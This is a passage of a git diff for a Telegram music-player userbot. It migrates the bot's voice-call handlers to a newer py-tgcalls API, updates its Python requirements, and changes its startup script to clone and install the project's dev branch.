-9 {os.getpid()} && bash startup.sh") -@pytgcalls.on_stream_end() +@pytgcalls.on_update(fl.stream_end) @language @handle_error async def stream_end(_, update: Update, lang): @@ -603,7 +561,7 @@ async def stream_end(_, update: Update, lang): chat_id = update.chat_id group = get_group(chat_id) if group["loop"]: - await skip_stream(group["now_playing"], lang) + await start_stream(group["now_playing"], lang) else: queue = get_queue(chat_id) if len(queue) > 0: @@ -613,7 +571,7 @@ async def stream_end(_, update: Update, lang): if not ok: raise Exception(status) set_group(chat_id, now_playing=next_song) - await skip_stream(next_song, lang) + await start_stream(next_song, lang) else: if safone.get(chat_id) is not None: try: @@ -622,40 +580,13 @@ async def stream_end(_, update: Update, lang): pass await set_title(chat_id, "", client=app) set_group(chat_id, is_playing=False, now_playing=None) - await pytgcalls.leave_group_call(chat_id) - - -@pytgcalls.on_closed_voice_chat() -@handle_error -async def closed_vc(_, chat_id: int): - if chat_id not in all_groups(): - if safone.get(chat_id) is not None: - try: - await safone[chat_id].delete() - except BaseException: - pass - await set_title(chat_id, "", client=app) - set_group(chat_id, now_playing=None, is_playing=False) - clear_queue(chat_id) - - -@pytgcalls.on_kicked() -@handle_error -async def kicked_vc(_, chat_id: int): - if chat_id not in all_groups(): - if safone.get(chat_id) is not None: - try: - await safone[chat_id].delete() - except BaseException: - pass - await set_title(chat_id, "", client=app) - set_group(chat_id, now_playing=None, is_playing=False) - clear_queue(chat_id) + await pytgcalls.leave_call(chat_id) -@pytgcalls.on_left() +@pytgcalls.on_update(fl.chat_update(ChatUpdate.Status.LEFT_CALL)) @handle_error -async def left_vc(_, chat_id: int): +async def closed_vc(_, update: Update): + chat_id = update.chat_id if chat_id not in all_groups(): if safone.get(chat_id) is not None: try: diff --git a/requirements.txt b/requirements.txt index 2e0ff7d..fa00fec 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,11 +1,11 @@ +yt-dlp pytube pillow spotipy aiohttp aiofiles -pyrogram==1.4.16 tgcrypto +py-tgcalls python-dotenv -py-tgcalls==0.8.2 youtube-search-python -git+https://github.com/asmsafone/downloader +https://github.com/PyrogramMod/PyrogramMod/archive/refs/heads/main.zip diff --git a/startup.sh b/startup.sh index a17ca34..66af093 100644 --- a/startup.sh +++ b/startup.sh @@ -1,8 +1,12 @@ +#!/bin/bash + echo ">> FETCHING UPSTREAM..." -git clone https://github.com/AsmSafone/MusicPlayer /MusicPlayer +git clone -b dev https://github.com/AsmSafone/MusicPlayer /MusicPlayer + echo ">> INSTALLING REQUIREMENTS..." cd /MusicPlayer pip3 install -U -r requirements.txt + echo ">> STARTING MUSIC PLAYER USERBOT..." clear echo "